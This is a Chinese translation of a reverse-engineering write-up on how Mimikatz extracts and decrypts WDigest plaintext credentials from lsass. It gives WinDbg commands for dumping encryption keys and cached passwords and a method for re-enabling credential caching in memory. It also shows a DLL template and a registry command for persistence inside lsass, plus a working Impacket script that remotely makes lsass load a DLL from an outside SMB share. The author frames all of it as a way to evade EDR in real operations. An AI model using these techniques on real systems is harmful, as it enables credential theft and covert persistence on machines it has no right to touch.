内容简介:Mimikatz是个非常强大工具,我们曾打包过、封装过、注入过、使用powershell改造过这款工具,现在我们又开始向其输入内存dump数据。不论如何,从Windows系统我一直以来都在强调,大家需要理解工具的内部原理,而不是执行脚本这么简单。现在安全厂商一直都在减少并监控常见的攻击技巧及攻击面,并且会比我们发现新方法的速度还要快,因此理解某种技术对底层API的调用能带来不少好处,可能避免我们的行为在重重防护的环境中被检测出来。
0x00 前言
Mimikatz是个非常强大工具,我们曾打包过、封装过、注入过、使用powershell改造过这款工具,现在我们又开始向其输入内存dump数据。不论如何,从Windows系统 lsass
提取凭据时,Mimikatz仍然是首选工具。每当微软引入新的安全控制策略时, GentilKiwi 总是能够想出奇招绕过防御,这也是Mimikatz充满活力的原因所在。然而如果大家之前看过Mimikatz的源码,就知道这绝非易事,该 工具 需要支持x86及x64的所有Windows版本(最近还增加了对ARM架构Windows的支持)。随着Mimikatz的声名远扬,蓝队现在也有各种方式能够检测这款工具。从根本上来讲,如果目标环境中部署了针对性安全机制,那么在目标主机上执行Mimikatz的行为就可能被检测到。
我一直以来都在强调,大家需要理解工具的内部原理,而不是执行脚本这么简单。现在安全厂商一直都在减少并监控常见的攻击技巧及攻击面,并且会比我们发现新方法的速度还要快,因此理解某种技术对底层API的调用能带来不少好处,可能避免我们的行为在重重防护的环境中被检测出来。
在这种情况下,许多后渗透工具集会以各种方式集成Mimikatz这个工具。现在有些安全厂商会检测进程与 lsass
的交互行为,而更多厂商会去努力去识别Mimikatz行为特征。
我一直都想在某些场景下抽离Mimikatz的某些功能(主要是不方便或者不可能转储内存数据的场景),但我却没有好好深入研究这款工具的底层实现,这一点实在有点让人困扰。
因此在过去几篇文章中,我开始探索这款工具的内部实现,主要从WDigest开始研究。我重点关注的是明文凭据如何缓存在 lsass
中,为什么可以使用 sekurlsa::wdigest
来提取这些凭据。这个过程需要反汇编以及调试,并且想达到Mimikatz的高度是非常困难的一件事,但最后我们会发现,如果只是想实现Mimikatz中的一部分功能、基于源代码来构建自己的工具,那么这个过程还是非常值得去尝试。
在本文中,我将探讨在 lsass
中加载任意DLL的其他方法,可以与本文的示例代码结合使用。
备注:本文大量用到了Mimikatz源代码,Mimikatz开发人员在这上面花了大量精力。当我们在阅读源码时,会发现其中涉及到许多未公开的结构,感受到开发者的辛苦付出。这里要感谢Mimikatz、 Benjamin Delpy 以及 Vincent Le Toux 的杰出工作。
0x01 sekurlsa::wdigest
如上所述,在本文中我们将重点关注WDigest,这也是Mimikatz最出名的一个功能。在Windows Server 2008 R2之前,系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据。
在逆向分析系统组件时,我通常喜欢attach调试器,观察组件如何在运行过程中与系统交互。不幸的是,在这种场景下,我们无法简单地将WinDBG附加到 lsass
上,如果这么操作,Windows会停止运行,警告用户系统即将重启。因此,我们需要attach内核,然后从Ring-0切换到 lsass
进程。如果大家之前没有使用WinDBG attach内核,可以阅读我之前的 文章 ,了解如何设置内核调试器。
attach内核调试器后,我们需要抓取 lsass
进程的 EPROCESS
地址,可以使用如下命令 !process 0 0 lsass.exe
:
确定 EPROCESS
地址后( ffff9d01325a7080
),我们可以请求将调试会话切换到 lsass
进程的上下文:
通过 lm
命令来确定现在我们具备WDigest DLL进程空间的访问权限:
如果此时我们发现符号并没有得到正确解析,通常情况下可以尝试 .reload /user
。
attach调试器后,让我们开始深入分析WDigest。
0x02 深入分析wdigest.dll(以及lsasrv.dll)
如果观察Mimikatz源代码,可以看到代码通过扫描特征来识别内存中的凭据信息。这里我们可以使用非常有名的 Ghidra 工具,来看看Mimikatz在搜索哪些特征。
我使用的环境为Windows 10 x64,因此我重点关注 PTRN_WIN6_PasswdSet
特征,如下所示:
在Ghidra中输入这个搜索特征后,我们就能知道Mimikatz在内存中搜索什么:
如上图所示,我们找到了 LogSessHandlerPasswdSet
,特别是 l_LogSessList
指针。这个指针是从WDigest中提取凭据的关键,但在进一步分析前,我们可以先备份一下,通过交叉引用查找谁在调用这个函数,我们找到了如下信息:
这里我们找到了 WDigest.dll
导出的 SpAcceptCredentials
函数,这个函数有什么作用呢?
这个信息看起来非常有希望,我们可以看到凭据需要通过这个回调函数来传递。我们来确认一下自己的确没有偏离主题。在WinDBG中,我们可以使用 bp wdigest!SpAcceptCredentials
来添加断点,然后在Windows中利用 runas
命令弹出一个shell:
这些操作应该足以触发断点。检查传给该函数的参数,我们可以看到传入的凭据:
如果我们继续执行,在 wdigest!LogSessHandlerPasswdSet
上添加另一个断点,可以发现虽然我们传入了用户名,但并没有看到我们的密码。然而在 LogSessHandlerPasswdSet
函数被调用之前,我们可以看到如下信息:
这实际上是用于Control Flow Guard的一个桩(stub)函数( Ghidra 9.0.3 似乎能够较好地显示CFG stub),但如果我们在调试器中跟踪,就会发现系统实际上调用的是 LsaProtectMemory
:
这符合我们的预期,因为我们知道凭据会在内存中加密存储。不幸的是, lsass
并没有对外公开 LsaProtectMemory
,因此我们需要知道如何重构该功能来解密先前提取出的凭据。跟踪反汇编代码,我们发现这个调用实际上是 LsaEncryptMemory
的封装函数:
而 LsaEncryptMemory
实际上是 BCryptEncrypt
的封装函数:
有趣的是,系统会根据待加密的数据块长度来选择加密/解密函数。如果输入的缓冲区长度能被8整除(如上图的 param_2 & 7
),那么就会使用AES算法。如果不满足该条件,则会使用3Des。
现在我们知道我们的密码经过 BCryptEncrypt
加密,但密钥在哪?如果往上翻翻,我们可以看到对 lsasrv!h3DesKey
以及 lsasrv!hAesKey
的引用。跟踪引用地址,我们可以看到 lsasrv!LsaInitializeProtectedMemory
用来给这些变量分配初始值。更具体一点,系统会调用 BCryptGenRandom
来生成密钥:
这意味着每次 lsass
启动时都会生成随机的新密钥,我们需要提取密钥才能解密已缓存的WDigest凭据。
回到Mimikatz源代码,确认一下我们并没有偏离方向。可以看到代码的确会搜索 LsaInitializeProtectedMemory
函数,同时还有一些特征用来区分不同的Windows版本及架构:
如果我们在Ghidra中搜索这些特征,可以找到如下信息:
这里我们可以看到对 hAesKey
地址的引用。因此,与之前的特征搜索类似,Mimikatz正在内存中寻找加密密钥。
接下来我们需要理解Mimikatz如何将密钥从内存中提取出来。为了完成这个任务,我们需要参考Mimikatz中的 kuhl_m_sekurlsa_nt6_acquireKey
,其中能看到对应不同操作系统版本的长度值。可以看到 hAesKey
以及 h3DesKey
(从 BCryptGenerateSymmetricKey
返回的 BCRYPT_KEY_HANDLE
类型)实际上指向的是内存中的一个结构体,其中包含生成的对称AES密钥以及3DES密钥。我们可以在Mimikatz中找到这个结构:
typedef struct _KIWI_BCRYPT_HANDLE_KEY { ULONG size; ULONG tag; // 'UUUR' PVOID hAlgorithm; PKIWI_BCRYPT_KEY key; PVOID unk0; } KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
可以将这个信息与WinDBG结合起来,检查其中的 UUUR
标签来确认我们没有偏离正轨:
在 0x10
偏移处,我们可以看到Mimikatz正在引用 PKIWI_BCRYPT_KEY
,结构如下所示:
typedef struct _KIWI_BCRYPT_KEY81 { ULONG size; ULONG tag; // 'MSSK' ULONG type; ULONG unk0; ULONG unk1; ULONG unk2; ULONG unk3; ULONG unk4; PVOID unk5; // before, align in x64 ULONG unk6; ULONG unk7; ULONG unk8; ULONG unk9; KIWI_HARD_KEY hardkey; } KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;
当然,如果继续跟进,WinDBG也会显示相同的引用标签:
这个结构最后一个成员是 KIWI_HARD_KEY
,对应的结构如下:
typedef struct _KIWI_HARD_KEY { ULONG cbSecret; BYTE data[ANYSIZE_ARRAY]; // etc... } KIWI_HARD_KEY, *PKIWI_HARD_KEY;
这个结构体中包含密钥的大小( cbSecret
), data
中包含实际的密钥。这意味着我们可以使用WinDBG来提取这个密钥,如下所示:
这样我们就得到了 h3DesKey
,大小为 0x18
字节,包含如下数据:
b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a
我们可以通过相同的过程来提取 hAesKey
:
现在我们已经知道密钥的提取过程,我们需要寻找WDigest实际缓存的密钥。让我们回到前面讨论过的 l_LogSessList
指针。这个字段对应的是一个链表,我们可以使用WinDBG命令 !list -x "dq @$extret" poi(wdigest!l_LogSessList)
来遍历链表:
这些表项对应的结构包含如下字段:
typedef struct _KIWI_WDIGEST_LIST_ENTRY { struct _KIWI_WDIGEST_LIST_ENTRY *Flink; struct _KIWI_WDIGEST_LIST_ENTRY *Blink; ULONG UsageCount; struct _KIWI_WDIGEST_LIST_ENTRY *This; LUID LocallyUniqueIdentifier; } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
在这个结构之后有3个 LSA_UNICODE_STRING
字段,具体偏移如下:
0x30 0x40 0x50
这里我们在WinDBG中使用如下命令来确保我们的研究方向没有问题:
!list -x "dS @$extret+0x30" poi(wdigest!l_LogSessList)
可以导出已缓存的用户名,如下所示:
最后我们可以使用类似的命令导出已加密的密码:
!list -x "db poi(@$extret+0x58)" poi(wdigest!l_LogSessList)
到目前为止,我们已经搜集到从内存中提取WDigest凭据的所有拼图。
掌握提取到的数据以及解密流程后,我们是否能将这些元素结合在一起,形成独立于Mimikatz的一款小工具?为了验证这是否可行,我构造了一个 PoC ,其中包含大量注释。在Windows 10 x64(build 1809)上运行时,该工具能输出关于凭据提取的各种提示信息:
输出太多信息肯定不利于隐蔽我们的行为,但大家可以以此为例,了解开发定制工具的过程。
现在我们已经澄清如何抓取并解密WDigest已缓存的凭据,我们可以开始研究影响凭据收集的另一个因素: UseLogonCredential
。
0x03 UseLogonCredential
越来越多人想提取明文密码,因此微软决定在默认情况下禁用这种协议。当然,还会有些用户在使用WDigest,因此为了能够重启该协议,微软给出了一个注册表项: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
,将这个值从 0
改成 1
,就可以让WDigest重新开始缓存,这意味着渗透测试人员还是会有用武之地。此外GentiKiwi还提到,修改这个键值并不需要重启才能生效,后面我会讨论这一点。
让我们再来看一下 SpAcceptCredentials
,经过一番搜索后,我们找到如下代码:
这里我们可以看到系统在判断条件中使用了两个全局变量。如果 g_IsCredGuardEnabled
为 1
,或者 g_fParameter_UseLogonCredential
为 0
,那么就不会进入 LogSessHandlerPasswdSet
代码路径,而是会进入 LogSessHandlerNoPasswordInsert
代码路径。顾名思义,这个函数会缓存会话而不是密码,这也是我们经常会在Windows 2012上碰到的情况。根据变量名,我们有理由猜测这个变量受前面提到的注册表键值控制,我们可以跟踪变量赋值逻辑来确认这一点:
了解 WDigest.dll
中哪个变量会控制凭据缓存后,我们是否可以在不更新注册表的情况下做些变化?如果我们使用调试器,在运行时更新 g_fParameter_UseLogonCredential
参数,会出现什么情况?
恢复执行,我们可以看到系统会再次缓存明文凭据:
当然,我们都搞定内核调试器了,本来就可以做很多事情。但如果我们可以在不触发AV/EDR的情况下(参考之前我关于 Cylance 的一篇文章)篡改 lsass
内存,那么我们就可以自己构造一个工具来操控这个变量。这里我又创建了包含大量输出的一个 工具 ,用来演示整个攻击过程。
这个工具会搜索并更新内存中的 g_fParameter_UseLogonCredential
变量值。如果我们面对的是受Credential Guard保护的系统,那么更新变量值也不是特别难,这部分工作留给大家来完成。
执行PoC后,可以看到WDigest现在已经重新启用,并且无需设置注册表值,这样我们就可以提取出已缓存的凭据:
这个PoC肯定不大适合实际操作环境,但可以作为参考,帮助大家构造属于自己的工具。
当然,启用WDigest的这种方法存在一定风险,主要是需要对 lsass
执行 WriteProcessMemory
操作。但如果目标环境允许,那么这种方法就可以在不需要设置注册表值的情况下启用WDigest。除了WDigest外,还有一些明文凭据提取方法,可能更适用于实际目标环境(比如说 memssp
,参考这篇文章)。
前面提到过,根据GentilKiwi的说法,我们不需要重启就可以让 UseLogonCredential
生效。这里让我们再次回到反汇编代码寻找原因。
观察引用这个注册表值的其他位置,我们可以找到 wdigest!DigestWatchParamKey
,这个函数会监控许多键值,包括:
用来触发这个函数的Win32 API为 RegNotifyKeyChangeValue
:
在WinDBG中,如果我们在 wdigest!DigestWatchParamKey
上设置断点,可以看到当我们添加 UseLogonCredential
时,就会触发断点:
0x04 将任意DLL载入LSASS
在使用反汇编工具时,我也在寻找有没有其他方法能够将代码载入 lsass
中(或者加载SSP),避免可能被安防产品hook的Win32 API。经过一些反汇编操作后,我在 lsasrv.dll
中找到如下代码:
以上代码位于 LsapLoadLsaDbExtensionDll
函数中,会尝试在用户提供的值上调用 LoadLibraryExW
,这样我们就有机会能够构造一个DLL加载到 lsass
进程中,比如:
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Insert l33t payload here break; } // Important to avoid BSOD return FALSE; }
在 DllMain
函数末尾,我们返回 FALSE
,强制 LoadLibraryEx
出现错误,这一点很重要。这样可以避免系统后续调用 GetProcAddress
。如果无法执行该操作,会导致系统重启后出现BSOD,除非我们移除DLL或者注册表键值。
构造出DLL后,我们需要做的就是创建如上注册表键值:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll"
系统会在重启时加载我们的DLL,因此可以作为高权限驻留技术,将我们的payload直接载入 lsass
中(当然需要PPL没有处于启用状态)。
0x05 远程将任意DLL载入LSASS
经过一番搜索后,我又在 samsrv.dll
中找到了类似的攻击方法。这里 LoadLibraryEx
会将我们可控的某个注册表键值载入 lsass
中:
同样,我们会添加一个注册表键值然后重启。然而这种情况下,触发这个代码逻辑要简单得多,我们可以使用SAMR RPC调用来触发。
这里我们可以使用前面的WDigest凭据提取代码来构造一个DLL,帮我们导出明文凭据。
为了加载这个DLL,我们可以使用一个非常简单的Impacket Python脚本来修改注册表,添加一个键值( HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt
),将其指向我们托管在开放式SMB共享的DLL上,然后通过 hSamConnect
RPC调用来触发系统加载DLL。代码如下所示:
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt, samr from impacket.smbconnection import SMBConnection def trigger_samr(remoteHost, username, password): print("[*] Connecting to SAMR RPC service") try: rpctransport = transport.SMBTransport(remoteHost, 445, r'\samr', username, password, "", "", "", "") dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) except (Exception) as e: print("[x] Error binding to SAMR: %s" % e) return print("[*] Connection established, triggering SamrConnect to force load the added DLL") # Trigger samr.hSamrConnect(dce) print("[*] Triggered, DLL should have been executed...") def start(remoteName, remoteHost, username, password, dllPath): winreg_bind = r'ncacn_np:445[\pipe\winreg]' hRootKey = None subkey = None rrpclient = None print("[*] Connecting to remote registry") try: rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg', username, password, "", "", "", "") except (Exception) as e: print("[x] Error establishing SMB connection: %s" % e) return try: # Set up winreg RPC rrpclient = rpctransport.get_dce_rpc() rrpclient.connect() rrpclient.bind(rrp.MSRPC_UUID_RRP) except (Exception) as e: print("[x] Error binding to remote registry: %s" % e) return print("[*] Connection established") print("[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr") try: # Add a new registry key ans = rrp.hOpenLocalMachine(rrpclient) hRootKey = ans['phKey'] subkey = rrp.hBaseRegOpenKey(rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS") rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt", 1, dllPath) except (Exception) as e: print("[x] Error communicating with remote registry: %s" % e) return print("[*] Registry value created, DLL will be loaded from %s" % (dllPath)) trigger_samr(remoteHost, username, password) print("[*] Removing registry entry") try: rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt") except (Exception) as e: print("[x] Error deleting from remote registry: %s" % e) return print("[*] All done") print("LSASS DirectoryServiceExtPt POC\n @_xpn_\n") start("192.168.0.111", "192.168.0.111", "test", "wibble", "\\\\opensharehost\\ntds\\legit.dll")
我们能成功从内存中提取出明文凭据,大家可以参考完整 操作步骤 。
大家可以访问 此处 下载DLL代码,我们对前文的示例稍微做了些修改。
0x06 总结
希望本文能帮大家理解WDigest凭据缓存原理,了解Mimikatz如何通过 sekurlsa::wdigest
命令来提取并解密密码。更重要的是,我希望本文能帮助大家构造自己的工具,方便大家在实际环境中行动。我将继续关注渗透测试中常用的其他工具或技术,大家如果有任何问题或建议,欢迎随时联系我。
以上所述就是小编给大家介绍的《深入分析Mimikatz:WDigest》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
如何构建敏捷项目管理团队
丽萨·阿金斯 / 徐蓓蓓、白云峰、刘江华 / 电子工业出版社 / 2012-6 / 49.00元
《敏捷项目管理系列丛书•PMI-ACPSM考试指定教材•如何构建敏捷项目管理团队:ScrumMaster、敏捷教练与项目经理的实用指南》结合作者的亲身经历告诉读者如何建立一个高性能的敏捷项目管理团队,以及最终成为一名优秀的敏捷教练。作者将敏捷教练定义为导师、协助者、老师、问题解决者、冲突领航员、协作指挥者,正是这种不同角色之间的细微区别才使敏捷教练的工作富有深度。《敏捷项目管理系列丛书•PMI-A......一起来看看 《如何构建敏捷项目管理团队》 这本书的介绍吧!
RGB HSV 转换
RGB HSV 互转工具
RGB CMYK 转换工具
RGB CMYK 互转工具